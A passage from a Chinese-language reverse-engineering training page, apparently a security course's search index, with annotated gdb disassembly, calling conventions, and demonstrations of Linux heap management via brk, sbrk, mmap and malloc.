<+36>: mov DWORD PTR [ebp-0xc],0x2 ;b \u7b2c\u4e00\u4e2a\u5165\u6808\u6240\u4ee5\u4fdd\u5b58\u5728 ebp-0xc \u7684\u4f4d\u7f6e\uff0c\u6b64\u53e5\u5373 b=2\n 0x0000058e <+43>: push DWORD PTR [ebp-0xc] ;\u5c06 b \u538b\u5165\u6808\u4e2d\n 0x00000591 <+46>: push DWORD PTR [ebp-0x10] ;\u5c06 a \u538b\u5165\u6808\u4e2d\n 0x00000594 <+49>: call 0x53d <add> ;\u8c03\u7528 add() \u51fd\u6570\uff0c\u8fd4\u56de\u503c\u4fdd\u5b58\u5728 eax \u4e2d\n 0x00000599 <+54>: add esp,0x8 ;\u6e05\u7406 add() \u7684\u53c2\u6570\n 0x0000059c <+57>: sub esp,0x8 ;\u8c03\u6574 esp \u4f7f 16 \u4f4d\u5bf9\u9f50\n 0x0000059f <+60>: push eax ;eax \u5165\u6808\n 0x000005a0 <+61>: lea eax,[ebx-0x19b0] ;ebx-0x19b0 \u7684\u5730\u5740\u4fdd\u5b58\u5230 eax\uff0c\u8be5\u5730\u5740\u5904\u4fdd\u5b58\u5b57\u7b26\u4e32 \"%d\\n\"\n 0x000005a6 <+67>: push eax ;eax \u5165\u6808\n 0x000005a7 <+68>: call 0x3d0 <printf@plt> ;\u8c03\u7528 printf() \u51fd\u6570\n 0x000005ac <+73>: add esp,0x10 ;\u8c03\u6574\u6808\u9876\u6307\u9488 esp\uff0c\u6e05\u7406 printf() \u7684\u53c2\u6570\n 0x000005af <+76>: mov eax,0x0 ;eax=0x0\n 0x000005b4 <+81>: lea esp,[ebp-0x8] ;ebp-0x8 \u7684\u5730\u5740\u4fdd\u5b58\u5230 esp\n 0x000005b7 <+84>: pop ecx ;\u5f39\u6808\u6062\u590d ecx\u3001ebx\u3001ebp\n 0x000005b8 <+85>: pop ebx\n 0x000005b9 <+86>: pop ebp\n 0x000005ba <+87>: lea esp,[ecx-0x4] ;ecx-0x4 \u7684\u5730\u5740\u4fdd\u5b58\u5230 esp\n 0x000005bd <+90>: ret ;\u8fd4\u56de\uff0c\u76f8\u5f53\u4e8e pop eip;\nEnd of assembler dump.\ngdb-peda$ disassemble add\nDump of assembler code for function add:\n 0x0000053d <+0>: push ebp ;\u4fdd\u5b58\u8c03\u7528 add() \u51fd\u6570\u4e4b\u524d\u7684 ebp\n 0x0000053e <+1>: mov ebp,esp ;\u628a\u8c03\u7528 add() \u4e4b\u524d\u7684 esp \u4f5c\u4e3a\u5f53\u524d\u6808\u5e27\u7684 ebp\n 0x00000540 <+3>: sub esp,0x10 ;\u4e3a\u5c40\u90e8\u53d8\u91cf x\u3001y \u5206\u914d\u7a7a\u95f4\u5e76\u505a\u5230 16 \u5b57\u8282\u5bf9\u9f50\n 0x00000543 <+6>: call 0x5be <__x86.get_pc_thunk.ax> ;\u8c03\u7528 <__x86.get_pc_thunk.ax> \u51fd\u6570\uff0c\u5c06 esp \u5f3a\u5236\u8f6c\u6362\u4e3a\u53cc\u5b57\u6570\u636e\u540e\u4fdd\u5b58\u5230 eax\n 0x00000548 <+11>: add eax,0x1ab8 ;eax+0x1ab8\n 0x0000054d <+16>: mov eax,DWORD PTR [ebp+0x8] ;\u5c06 ebp+0x8 \u7684\u6570\u636e 0x1 \u4f20\u9001\u5230 eax\uff0cebp+0x4 \u4e3a\u51fd\u6570\u8fd4\u56de\u5730\u5740\n 0x00000550 <+19>: mov DWORD PTR [ebp-0x8],eax ;\u4fdd\u5b58 eax \u7684\u503c 0x1 \u5230 ebp-0x8 \u7684\u4f4d\u7f6e\n 0x00000553 <+22>: mov eax,DWORD PTR [ebp+0xc] ;\u5c06 ebp+0xc \u7684\u6570\u636e 0x2 \u4f20\u9001\u5230 eax\n 0x00000556 <+25>: mov DWORD PTR [ebp-0x4],eax ;\u4fdd\u5b58 eax \u7684\u503c 0x2 \u5230 ebp-0x4 \u7684\u4f4d\u7f6e\n 0x00000559 <+28>: mov edx,DWORD PTR [ebp-0x8] ;\u53d6\u51fa ebp-0x8 \u7684\u503c 0x1 \u5230 edx\n 0x0000055c <+31>: mov eax,DWORD PTR [ebp-0x4] ;\u53d6\u51fa ebp-0x4 \u7684\u503c 0x2 \u5230 eax\n 0x0000055f <+34>: add eax,edx ;eax+edx\n 0x00000561 <+36>: leave ;\u8fd4\u56de\uff0c\u76f8\u5f53\u4e8e mov esp,ebp; pop ebp;\n 0x00000562 <+37>: ret\nEnd of assembler dump.\n
\u8fd9\u91cc\u6211\u4eec\u5728 Linux \u73af\u5883\u4e0b\uff0c\u7531\u4e8e ELF \u6587\u4ef6\u7684\u5165\u53e3\u5176\u5b9e\u662f _start
\u800c\u4e0d\u662f main()
\uff0c\u6240\u4ee5\u6211\u4eec\u8fd8\u5e94\u8be5\u5173\u6ce8\u4e0b\u9762\u7684\u51fd\u6570\uff1a
gdb-peda$ disassemble _start\nDump of assembler code for function _start:\n 0x00000400 <+0>: xor ebp,ebp ;\u6e05\u96f6 ebp\uff0c\u8868\u793a\u4e0b\u9762\u7684 main() \u51fd\u6570\u6808\u5e27\u4e2d ebp \u4fdd\u5b58\u7684\u4e0a\u4e00\u7ea7 ebp \u4e3a 0x00000000\n 0x00000402 <+2>: pop esi ;\u5c06 argc \u5b58\u5165 esi\n 0x00000403 <+3>: mov ecx,esp ;\u5c06\u6808\u9876\u5730\u5740\uff08argv \u548c env \u6570\u7ec4\u7684\u5176\u5b9e\u5730\u5740\uff09\u4f20\u7ed9 ecx\n 0x00000405 <+5>: and esp,0xfffffff0 ;\u6808 16 \u5b57\u8282\u5bf9\u9f50\n 0x00000408 <+8>: push eax ;eax\u3001esp\u3001edx \u5165\u6808\n 0x00000409 <+9>: push esp\n 0x0000040a <+10>: push edx\n 0x0000040b <+11>: call 0x432 <_start+50> ;\u5148\u5c06\u4e0b\u4e00\u6761\u6307\u4ee4\u5730\u5740 0x00000410 \u538b\u6808\uff0c\u8bbe\u7f6e esp \u6307\u5411\u5b83\uff0c\u518d\u8c03\u7528 0x00000432 \u5904\u7684\u6307\u4ee4\n 0x00000410 <+16>: add ebx,0x1bf0 ;ebx+0x1bf0\n 0x00000416 <+22>: lea eax,[ebx-0x19d0] ;\u53d6 <__libc_csu_fini> \u5730\u5740\u4f20\u7ed9 eax\uff0c\u7136\u540e\u538b\u6808\n 0x0000041c <+28>: push eax\n 0x0000041d <+29>: lea eax,[ebx-0x1a30] ;\u53d6 <__libc_csu_init> \u5730\u5740\u4f20\u5165 eax\uff0c\u7136\u540e\u538b\u6808\n 0x00000423 <+35>: push eax\n 0x00000424 <+36>: push ecx ;ecx\u3001esi \u5165\u6808\u4fdd\u5b58\n 0x00000425 <+37>: push esi\n 0x00000426 <+38>: push DWORD PTR [ebx-0x8] ;\u8c03\u7528 main() \u51fd\u6570\u4e4b\u524d\u4fdd\u5b58\u8fd4\u56de\u5730\u5740\uff0c\u5176\u5b9e\u5c31\u662f\u4fdd\u5b58 main() \u51fd\u6570\u7684\u5165\u53e3\u5730\u5740\n 0x0000042c <+44>: call 0x3e0 <__libc_start_main@plt> ;call \u6307\u4ee4\u8c03\u7528 __libc_start_main \u51fd\u6570\n 0x00000431 <+49>: hlt ;hlt \u6307\u4ee4\u4f7f\u7a0b\u5e8f\u505c\u6b62\u8fd0\u884c\uff0c\u5904\u7406\u5668\u8fdb\u5165\u6682\u505c\u72b6\u6001\uff0c\u4e0d\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\uff0c\u4e0d\u5f71\u54cd\u6807\u5fd7\u3002\u5f53 RESET \u7ebf\u4e0a\u6709\u590d\u4f4d\u4fe1\u53f7\u3001CPU \u54cd\u5e94\u975e\u5c4f\u853d\u7ec8\u7aef\u3001CPU \u54cd\u5e94\u53ef\u5c4f\u853d\u7ec8\u7aef 3 \u79cd\u60c5\u51b5\u4e4b\u4e00\u65f6\uff0cCPU \u8131\u79bb\u6682\u505c\u72b6\u6001\uff0c\u6267\u884c\u4e0b\u4e00\u6761\u6307\u4ee4\n 0x00000432 <+50>: mov ebx,DWORD PTR [esp] ;esp \u5f3a\u5236\u8f6c\u6362\u4e3a\u53cc\u5b57\u6570\u636e\u540e\u4fdd\u5b58\u5230 ebx\n 0x00000435 <+53>: ret ;\u8fd4\u56de\uff0c\u76f8\u5f53\u4e8e pop eip;\n 0x00000436 <+54>: xchg ax,ax ;\u4ea4\u6362 ax \u548c ax \u7684\u6570\u636e\uff0c\u76f8\u5f53\u4e8e nop\n 0x00000438 <+56>: xchg ax,ax\n 0x0000043a <+58>: xchg ax,ax\n 0x0000043c <+60>: xchg ax,ax\n 0x0000043e <+62>: xchg ax,ax\nEnd of assembler dump.\n
"},{"location":"Training/Material/Reverse/#_40","title":"\u51fd\u6570\u8c03\u7528\u7ea6\u5b9a","text":"\u51fd\u6570\u8c03\u7528\u7ea6\u5b9a\u662f\u5bf9\u51fd\u6570\u8c03\u7528\u65f6\u5982\u4f55\u4f20\u9012\u53c2\u6570\u7684\u4e00\u79cd\u7ea6\u5b9a\u3002\u8c03\u7528\u51fd\u6570\u524d\u8981\u5148\u628a\u53c2\u6570\u538b\u5165\u6808\u7136\u540e\u518d\u4f20\u9012\u7ed9\u51fd\u6570\u3002
\u4e00\u4e2a\u8c03\u7528\u7ea6\u5b9a\u5927\u6982\u6709\u5982\u4e0b\u7684\u5185\u5bb9\uff1a
\u4e3b\u8981\u7684\u51fd\u6570\u8c03\u7528\u7ea6\u5b9a\u5982\u4e0b\uff0c\u5176\u4e2d cdecl \u662f C \u8bed\u8a00\u9ed8\u8ba4\u7684\u8c03\u7528\u7ea6\u5b9a\uff1a
\u8c03\u7528\u7ea6\u5b9a \u51fa\u6808\u65b9 \u53c2\u6570\u4f20\u9012 \u540d\u5b57\u4fee\u9970 cdecl \u51fd\u6570\u8c03\u7528\u65b9 \u4ece\u53f3\u5230\u5de6\u7684\u987a\u5e8f\u538b\u53c2\u6570\u5165\u6808 \u4e0b\u5212\u7ebf\uff0b\u51fd\u6570\u540d stdcall \u51fd\u6570\u672c\u8eab \u4ece\u53f3\u5230\u5de6\u7684\u987a\u5e8f\u538b\u53c2\u6570\u5165\u6808 \u4e0b\u5212\u7ebf\uff0b\u51fd\u6570\u540d\uff0b@\uff0b\u53c2\u6570\u7684\u5b57\u8282\u6570 fastcall \u51fd\u6570\u672c\u8eab \u90fd\u4e24\u4e2a DWORD\uff084 \u5b57\u8282\uff09\u7c7b\u578b\u6216\u8005\u5360\u66f4\u5c11\u5b57\u8282\u7684\u53c2\u6570\u88ab\u653e\u5165\u5bc4\u5b58\u5668\uff0c\u5176\u4ed6\u5269\u4e0b\u7684\u53c2\u6570\u6309\u4ece\u53f3\u5230\u5de6\u7684\u987a\u5e8f\u538b\u5165\u6808 @\uff0b\u51fd\u6570\u540d\uff0b@\uff0b\u53c2\u6570\u7684\u5b57\u8282\u6570\u9664\u4e86\u53c2\u6570\u7684\u4f20\u9012\u4e4b\u5916\uff0c\u51fd\u6570\u4e0e\u8c03\u7528\u65b9\u8fd8\u53ef\u4ee5\u901a\u8fc7\u8fd4\u56de\u503c\u8fdb\u884c\u4ea4\u4e92\u3002\u5f53\u8fd4\u56de\u503c\u4e0d\u5927\u4e8e 4 \u5b57\u8282\u65f6\uff0c\u8fd4\u56de\u503c\u5b58\u50a8\u5728 eax \u5bc4\u5b58\u5668\u4e2d\uff0c\u5f53\u8fd4\u56de\u503c\u5728 5~8 \u5b57\u8282\u65f6\uff0c\u91c7\u7528 eax \u548c edx \u7ed3\u5408\u7684\u5f62\u5f0f\u8fd4\u56de\uff0c\u5176\u4e2d eax \u5b58\u50a8\u4f4e 4 \u5b57\u8282\uff0c edx \u5b58\u50a8\u9ad8 4 \u5b57\u8282\u3002
"},{"location":"Training/Material/Reverse/#_41","title":"\u5806\u4e0e\u5185\u5b58\u7ba1\u7406","text":""},{"location":"Training/Material/Reverse/#_42","title":"\u5806","text":"\u5806\u662f\u7528\u4e8e\u5b58\u653e\u9664\u4e86\u6808\u91cc\u7684\u4e1c\u897f\u4e4b\u5916\u6240\u6709\u5176\u4ed6\u4e1c\u897f\u7684\u5185\u5b58\u533a\u57df\uff0c\u6709\u52a8\u6001\u5185\u5b58\u5206\u914d\u5668\u8d1f\u8d23\u7ef4\u62a4\u3002\u5206\u914d\u5668\u5c06\u5806\u89c6\u4e3a\u4e00\u7ec4\u4e0d\u540c\u5927\u5c0f\u7684\u5757\uff08block\uff09\u7684\u96c6\u5408\u6765\u7ef4\u62a4\uff0c\u6bcf\u4e2a\u5757\u5c31\u662f\u4e00\u4e2a\u8fde\u7eed\u7684\u865a\u62df\u5185\u5b58\u5668\u7247\uff08chunk\uff09\u3002\u5f53\u4f7f\u7528 malloc()
\u548c free()
\u65f6\u5c31\u662f\u5728\u64cd\u4f5c\u5806\u4e2d\u7684\u5185\u5b58\u3002\u5bf9\u4e8e\u5806\u6765\u8bf4\uff0c\u91ca\u653e\u5de5\u4f5c\u7531\u7a0b\u5e8f\u5458\u63a7\u5236\uff0c\u5bb9\u6613\u4ea7\u751f\u5185\u5b58\u6cc4\u9732\u3002
\u5806\u662f\u5411\u9ad8\u5730\u5740\u6269\u5c55\u7684\u6570\u636e\u7ed3\u6784\uff0c\u662f\u4e0d\u8fde\u7eed\u7684\u5185\u5b58\u533a\u57df\u3002\u8fd9\u662f\u7531\u4e8e\u7cfb\u7edf\u662f\u7528\u94fe\u8868\u6765\u5b58\u50a8\u7684\u7a7a\u95f2\u5185\u5b58\u5730\u5740\u7684\uff0c\u800c\u94fe\u8868\u7684\u904d\u5386\u65b9\u5411\u662f\u7531\u4f4e\u5730\u5740\u5411\u9ad8\u5730\u5740\u3002\u5806\u7684\u5927\u5c0f\u53d7\u9650\u4e8e\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e2d\u6709\u6548\u7684\u865a\u62df\u5185\u5b58\u3002\u7531\u6b64\u53ef\u89c1\uff0c\u5806\u83b7\u5f97\u7684\u7a7a\u95f4\u6bd4\u8f83\u7075\u6d3b\uff0c\u4e5f\u6bd4\u8f83\u5927\u3002
\u5982\u679c\u6bcf\u6b21\u7533\u8bf7\u5185\u5b58\u65f6\u90fd\u76f4\u63a5\u4f7f\u7528\u7cfb\u7edf\u8c03\u7528\uff0c\u4f1a\u4e25\u91cd\u5f71\u54cd\u7a0b\u5e8f\u7684\u6027\u80fd\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u8fd0\u884c\u5e93\u5148\u5411\u64cd\u4f5c\u7cfb\u7edf\u201c\u6279\u53d1\u201d\u4e00\u5757\u8f83\u5927\u7684\u5806\u7a7a\u95f4\uff0c\u7136\u540e\u201c\u96f6\u552e\u201d\u7ed9\u7a0b\u5e8f\u4f7f\u7528\u3002\u5f53\u5168\u90e8\u201c\u552e\u5b8c\u201d\u4e4b\u540e\u6216\u8005\u5269\u4f59\u7a7a\u95f4\u4e0d\u80fd\u6ee1\u8db3\u7a0b\u5e8f\u7684\u9700\u6c42\u65f6\uff0c\u518d\u6839\u636e\u60c5\u51b5\u5411\u64cd\u4f5c\u7cfb\u7edf\u201c\u8fdb\u8d27\u201d\u3002
"},{"location":"Training/Material/Reverse/#_43","title":"\u8fdb\u7a0b\u5806\u7ba1\u7406","text":"Linux \u63d0\u4f9b\u4e86\u4e24\u79cd\u5806\u7a7a\u95f4\u5206\u914d\u7684\u65b9\u5f0f\uff0c\u4e00\u4e2a\u662f brk()
\u7cfb\u7edf\u8c03\u7528\uff0c\u53e6\u4e00\u4e2a\u662f mmap()
\u7cfb\u7edf\u8c03\u7528\u3002\u53ef\u4ee5\u4f7f\u7528 man brk
\u3001man mmap
\u67e5\u770b\u3002
brk()
\u7684\u58f0\u660e\u5982\u4e0b\uff1a
#include <unistd.h>\n\nint brk(void *addr);\n\nvoid *sbrk(intptr_t increment);\n
\u53c2\u6570 *addr
\u662f\u8fdb\u7a0b\u6570\u636e\u6bb5\u7684\u7ed3\u675f\u5730\u5740\uff0cbrk()
\u901a\u8fc7\u6539\u53d8\u8be5\u5730\u5740\u6765\u6539\u53d8\u6570\u636e\u6bb5\u7684\u5927\u5c0f\uff0c\u5f53\u7ed3\u675f\u5730\u5740\u5411\u9ad8\u5730\u5740\u79fb\u52a8\uff0c\u8fdb\u7a0b\u5185\u5b58\u7a7a\u95f4\u589e\u5927\uff0c\u5f53\u7ed3\u675f\u5730\u5740\u5411\u4f4e\u5730\u5740\u79fb\u52a8\uff0c\u8fdb\u7a0b\u5185\u5b58\u7a7a\u95f4\u51cf\u5c0f\u3002brk()
\u8c03\u7528\u6210\u529f\u65f6\u8fd4\u56de 0\uff0c\u5931\u8d25\u65f6\u8fd4\u56de -1\u3002 sbrk()
\u4e0e brk()
\u7c7b\u4f3c\uff0c\u4f46\u662f\u53c2\u6570 increment
\u8868\u793a\u589e\u91cf\uff0c\u5373\u589e\u52a0\u6216\u51cf\u5c11\u7684\u7a7a\u95f4\u5927\u5c0f\uff0c\u8c03\u7528\u6210\u529f\u65f6\u8fd4\u56de\u589e\u52a0\u540e\u51cf\u5c0f\u524d\u6570\u636e\u6bb5\u7684\u7ed3\u675f\u5730\u5740\uff0c\u5931\u8d25\u65f6\u8fd4\u56de -1\u3002
\u5728\u4e0a\u56fe\u4e2d\u6211\u4eec\u770b\u5230 brk \u6307\u793a\u5806\u7ed3\u675f\u5730\u5740\uff0cstart_brk \u6307\u793a\u5806\u5f00\u59cb\u5730\u5740\u3002BSS segment \u548c heap \u4e4b\u95f4\u6709\u4e00\u6bb5 Random brk offset\uff0c\u8fd9\u662f\u7531\u4e8e ASLR \u7684\u4f5c\u7528\uff0c\u5982\u679c\u5173\u95ed\u4e86 ASLR\uff0c\u5219 Random brk offset \u4e3a 0\uff0c\u5806\u7ed3\u675f\u5730\u5740\u548c\u6570\u636e\u6bb5\u5f00\u59cb\u5730\u5740\u91cd\u5408\u3002
\u4f8b\u5b50\uff1a\u6e90\u7801
#include <stdio.h>\n#include <unistd.h>\nvoid main() {\n void *curr_brk, *tmp_brk, *pre_brk;\n\n printf(\"\u5f53\u524d\u8fdb\u7a0b PID\uff1a%d\\n\", getpid());\n\n tmp_brk = curr_brk = sbrk(0);\n printf(\"\u521d\u59cb\u5316\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a%p\\n\", curr_brk);\n getchar();\n\n brk(curr_brk+4096);\n curr_brk = sbrk(0);\n printf(\"brk \u4e4b\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a%p\\n\", curr_brk);\n getchar();\n\n pre_brk = sbrk(4096);\n curr_brk = sbrk(0);\n printf(\"sbrk \u8fd4\u56de\u503c\uff08\u5373\u4e4b\u524d\u7684\u7ed3\u675f\u5730\u5740\uff09\uff1a%p\\n\", pre_brk);\n printf(\"sbrk \u4e4b\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a%p\\n\", curr_brk);\n getchar();\n\n brk(tmp_brk);\n curr_brk = sbrk(0);\n printf(\"\u6062\u590d\u5230\u521d\u59cb\u5316\u65f6\u7684\u7ed3\u675f\u5730\u5740\uff1a%p\\n\", curr_brk);\n getchar();\n}\n
\u5f00\u542f\u4e24\u4e2a\u7ec8\u7aef\uff0c\u4e00\u4e2a\u7528\u4e8e\u6267\u884c\u7a0b\u5e8f\uff0c\u53e6\u4e00\u4e2a\u7528\u4e8e\u89c2\u5bdf\u5185\u5b58\u5730\u5740\u3002\u9996\u5148\u6211\u4eec\u770b\u5173\u95ed\u4e86 ASLR \u7684\u60c5\u51b5\u3002\u7b2c\u4e00\u6b65\u521d\u59cb\u5316\uff1a
# echo 0 > /proc/sys/kernel/randomize_va_space\n$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a27759\n\u521d\u59cb\u5316\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x56579000\n# cat /proc/27759/maps\n...\n56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out\n56558000-56579000 rw-p 00000000 00:00 0 [heap]\n...\n
\u6570\u636e\u6bb5\u7ed3\u675f\u5730\u5740\u548c\u5806\u5f00\u59cb\u5730\u5740\u540c\u4e3a 0x56558000
\uff0c\u5806\u7ed3\u675f\u5730\u5740\u4e3a 0x56579000
\u3002
\u7b2c\u4e8c\u6b65\u4f7f\u7528 brk()
\u589e\u52a0\u5806\u7a7a\u95f4\uff1a
$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a27759\n\u521d\u59cb\u5316\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x56579000\n\nbrk \u4e4b\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x5657a000\n# cat /proc/27759/maps\n...\n56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out\n56558000-5657a000 rw-p 00000000 00:00 0 [heap]\n...\n
\u5806\u5f00\u59cb\u5730\u5740\u4e0d\u53d8\uff0c\u7ed3\u675f\u5730\u5740\u589e\u52a0\u4e3a 0x5657a000
\u3002
\u7b2c\u4e09\u6b65\u4f7f\u7528 sbrk()
\u589e\u52a0\u5806\u7a7a\u95f4\uff1a
$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a27759\n\u521d\u59cb\u5316\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x56579000\n\nbrk \u4e4b\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x5657a000\n\nsbrk \u8fd4\u56de\u503c\uff08\u5373\u4e4b\u524d\u7684\u7ed3\u675f\u5730\u5740\uff09\uff1a0x5657a000\nsbrk \u4e4b\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x5657b000\n# cat /proc/27759/maps\n...\n56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out\n56558000-5657b000 rw-p 00000000 00:00 0 [heap]\n...\n
\u7b2c\u56db\u6b65\u51cf\u5c0f\u5806\u7a7a\u95f4\uff1a
$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a27759\n\u521d\u59cb\u5316\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x56579000\n\nbrk \u4e4b\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x5657a000\n\nsbrk \u8fd4\u56de\u503c\uff08\u5373\u4e4b\u524d\u7684\u7ed3\u675f\u5730\u5740\uff09\uff1a0x5657a000\nsbrk \u4e4b\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x5657b000\n\n\u6062\u590d\u5230\u521d\u59cb\u5316\u65f6\u7684\u7ed3\u675f\u5730\u5740\uff1a0x56579000\n# cat /proc/27759/maps\n...\n56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out\n56558000-56579000 rw-p 00000000 00:00 0 [heap]\n...\n
\u518d\u6765\u770b\u4e00\u4e0b\u5f00\u542f\u4e86 ASLR \u7684\u60c5\u51b5\uff1a
# echo 2 > /proc/sys/kernel/randomize_va_space\n$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a28025\n\u521d\u59cb\u5316\u540e\u7684\u7ed3\u675f\u5730\u5740\uff1a0x578ad000\n# cat /proc/28025/maps\n...\n5663f000-56640000 rw-p 00001000 08:01 28587506 /home/a.out\n5788c000-578ad000 rw-p 00000000 00:00 0 [heap]\n...\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u65f6\u6570\u636e\u6bb5\u7684\u7ed3\u675f\u5730\u5740 0x56640000
\u4e0d\u7b49\u4e8e\u5806\u7684\u5f00\u59cb\u5730\u5740 0x5788c000
\u3002
mmap()
\u7684\u58f0\u660e\u5982\u4e0b\uff1a
#include <sys/mman.h>\n\nvoid *mmap(void *addr, size_t len, int prot, int flags,\n int fildes, off_t off);\n
mmap()
\u51fd\u6570\u7528\u4e8e\u521b\u5efa\u65b0\u7684\u865a\u62df\u5185\u5b58\u533a\u57df\uff0c\u5e76\u5c06\u5bf9\u8c61\u6620\u5c04\u5230\u8fd9\u4e9b\u533a\u57df\u4e2d\uff0c\u5f53\u5b83\u4e0d\u5c06\u5730\u5740\u7a7a\u95f4\u6620\u5c04\u5230\u67d0\u4e2a\u6587\u4ef6\u65f6\uff0c\u6211\u4eec\u79f0\u8fd9\u5757\u7a7a\u95f4\u4e3a\u533f\u540d\uff08Anonymous\uff09\u7a7a\u95f4\uff0c\u533f\u540d\u7a7a\u95f4\u53ef\u4ee5\u7528\u6765\u4f5c\u4e3a\u5806\u7a7a\u95f4\u3002mmap()
\u51fd\u6570\u8981\u6c42\u5185\u6838\u521b\u5efa\u4e00\u4e2a\u4ece\u5730\u5740 addr
\u5f00\u59cb\u7684\u65b0\u865a\u62df\u5185\u5b58\u533a\u57df\uff0c\u5e76\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26 fildes
\u6307\u5b9a\u7684\u5bf9\u8c61\u7684\u4e00\u4e2a\u8fde\u7eed\u7684\u7247\uff08chunk\uff09\u6620\u5c04\u5230\u8fd9\u4e2a\u65b0\u533a\u57df\u3002\u8fde\u7eed\u7684\u5bf9\u8c61\u7247\u5927\u5c0f\u4e3a len
\u5b57\u8282\uff0c\u4ece\u8ddd\u6587\u4ef6\u5f00\u59cb\u5904\u504f\u79fb\u91cf\u4e3a off
\u5b57\u8282\u7684\u5730\u65b9\u5f00\u59cb\u3002prot
\u63cf\u8ff0\u865a\u62df\u5185\u5b58\u533a\u57df\u7684\u8bbf\u95ee\u6743\u9650\u4f4d\uff0cflags
\u63cf\u8ff0\u88ab\u6620\u5c04\u5bf9\u8c61\u7c7b\u578b\u7684\u4f4d\u7ec4\u6210\u3002
munmap()
\u5219\u7528\u4e8e\u5220\u9664\u865a\u62df\u5185\u5b58\u533a\u57df\uff1a
#include <sys/mman.h>\n\nint munmap(void *addr, size_t len);\n
\u4f8b\u5b50\uff1a\u6e90\u7801
#include <stdio.h>\n#include <sys/mman.h>\n#include <unistd.h>\nvoid main() {\n void *curr_brk;\n\n printf(\"\u5f53\u524d\u8fdb\u7a0b PID\uff1a%d\\n\", getpid());\n printf(\"\u521d\u59cb\u5316\u540e\\n\");\n getchar();\n\n char *addr;\n addr = mmap(NULL, (size_t)4096, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);\n printf(\"mmap \u5b8c\u6210\\n\");\n getchar();\n\n munmap(addr, (size_t)4096);\n printf(\"munmap \u5b8c\u6210\\n\");\n getchar();\n}\n
\u7b2c\u4e00\u6b65\u521d\u59cb\u5316\uff1a
$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a28652\n\u521d\u59cb\u5316\u540e\n# cat /proc/28652/maps\n...\nf76b2000-f76b5000 rw-p 00000000 00:00 0\nf76ef000-f76f1000 rw-p 00000000 00:00 0\n...\n
\u7b2c\u4e8c\u6b65 mmap\uff1a
]$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a28652\n\u521d\u59cb\u5316\u540e\nmmap \u5b8c\u6210\n# cat /proc/28652/maps\n...\nf76b2000-f76b5000 rw-p 00000000 00:00 0\nf76ee000-f76f1000 rw-p 00000000 00:00 0\n...\n
\u7b2c\u4e09\u6b65 munmap\uff1a
$ ./a.out\n\u5f53\u524d\u8fdb\u7a0b PID\uff1a28652\n\u521d\u59cb\u5316\u540e\nmmap \u5b8c\u6210\nmunmap \u5b8c\u6210\n# cat /proc/28652/maps\n...\nf76b2000-f76b5000 rw-p 00000000 00:00 0\nf76ef000-f76f1000 rw-p 00000000 00:00 0\n...\n
\u53ef\u4ee5\u770b\u5230\u7b2c\u4e8c\u884c\u7b2c\u4e00\u5217\u5730\u5740\u4ece f76ef000
->f76ee000
->f76ef000
\u53d8\u5316\u30020xf76ee000-0xf76ef000=0x1000=4096
\u3002
\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4e0d\u4f1a\u76f4\u63a5\u4f7f\u7528 brk()
\u548c mmap()
\u6765\u5206\u914d\u5806\u7a7a\u95f4\uff0cC \u6807\u51c6\u5e93\u63d0\u4f9b\u4e86\u4e00\u4e2a\u53eb\u505a malloc
\u7684\u5206\u914d\u5668\uff0c\u7a0b\u5e8f\u901a\u8fc7\u8c03\u7528 malloc()
\u51fd\u6570\u6765\u4ece\u5806\u4e2d\u5206\u914d\u5757\uff0c\u58f0\u660e\u5982\u4e0b\uff1a
#include <stdlib.h>\n\nvoid *malloc(size_t size);\nvoid free(void *ptr);\nvoid *calloc(size_t nmemb, size_t size);\nvoid *realloc(void *ptr, size_t size);\n
\u793a\u4f8b\uff1a
#include<stdio.h>\n#include<malloc.h>\nvoid foo(int n) {\n int *p;\n p = (int *)malloc(n * sizeof(int));\n\n for (int i=0; i<n; i++) {\n p[i] = i;\n printf(\"%d \", p[i]);\n }\n printf(\"\\n\");\n\n free(p);\n}\n\nvoid main() {\n int n;\n scanf(\"%d\", &n);\n\n foo(n);\n}\n
\u8fd0\u884c\u7ed3\u679c\uff1a
$ ./malloc\n4\n0 1 2 3\n$ ./malloc\n8\n0 1 2 3 4 5 6 7\n$ ./malloc\n16\n0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15\n
\u4f7f\u7528 gdb \u67e5\u770b\u53cd\u6c47\u7f16\u4ee3\u7801\uff1a
